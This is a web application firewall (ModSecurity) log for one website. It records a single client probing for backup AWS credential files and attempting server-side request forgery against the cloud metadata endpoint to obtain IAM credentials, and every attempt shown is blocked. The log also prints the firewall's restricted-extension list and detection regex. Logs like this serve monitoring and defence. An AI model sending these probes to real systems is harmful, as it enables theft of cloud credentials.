[Mon Oct 26 00:21:56.513234 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYAAAAA0"]
[Mon Oct 26 00:21:56.513611 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYAAAAA0"]
[Mon Oct 26 00:21:56.513910 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYAAAAA0"]
[Mon Oct 26 00:21:56.529829 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:target. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIwAAABo"]
[Mon Oct 26 00:21:56.530283 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIwAAABo"]
[Mon Oct 26 00:21:56.530552 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCIwAAABo"]
[Mon Oct 26 00:21:56.607888 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYQAAAA0"]
[Mon Oct 26 00:21:56.608238 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYQAAAA0"]
[Mon Oct 26 00:21:56.608534 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.aws/config.bak"] [unique_id "at7VZG-vOSxyH8uS5IpnYQAAAA0"]
[Mon Oct 26 00:21:56.630115 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:u. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:u: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJAAAABo"]
[Mon Oct 26 00:21:56.630688 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJAAAABo"]
[Mon Oct 26 00:21:56.630938 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJAAAABo"]
[Mon Oct 26 00:21:56.735376 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:u. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:u: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJQAAABo"]
[Mon Oct 26 00:21:56.735973 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJQAAABo"]
[Mon Oct 26 00:21:56.736267 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJQAAABo"]
[Mon Oct 26 00:21:56.836015 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:link. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:link: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJgAAABo"]
[Mon Oct 26 00:21:56.836604 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJgAAABo"]
[Mon Oct 26 00:21:56.836898 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJgAAABo"]
[Mon Oct 26 00:21:56.939042 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:link. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:link: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJwAAABo"]
[Mon Oct 26 00:21:56.939591 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJwAAABo"]
[Mon Oct 26 00:21:56.939902 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZNL67pOsP-7URAtCJwAAABo"]
[Mon Oct 26 00:21:57.040600 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:src: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKAAAABo"]
[Mon Oct 26 00:21:57.041137 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKAAAABo"]
[Mon Oct 26 00:21:57.041423 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKAAAABo"]
[Mon Oct 26 00:21:57.137453 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:src: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKQAAABo"]
[Mon Oct 26 00:21:57.137975 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKQAAABo"]
[Mon Oct 26 00:21:57.138243 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKQAAABo"]
[Mon Oct 26 00:21:57.230658 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:site. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:site: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKgAAABo"]
[Mon Oct 26 00:21:57.231172 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKgAAABo"]
[Mon Oct 26 00:21:57.231452 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKgAAABo"]
[Mon Oct 26 00:21:57.337431 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:site. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:site: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKwAAABo"]
[Mon Oct 26 00:21:57.337958 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKwAAABo"]
[Mon Oct 26 00:21:57.338275 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCKwAAABo"]
[Mon Oct 26 00:21:57.439680 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:website. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:website: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLAAAABo"]
[Mon Oct 26 00:21:57.440255 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLAAAABo"]
[Mon Oct 26 00:21:57.440600 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLAAAABo"]
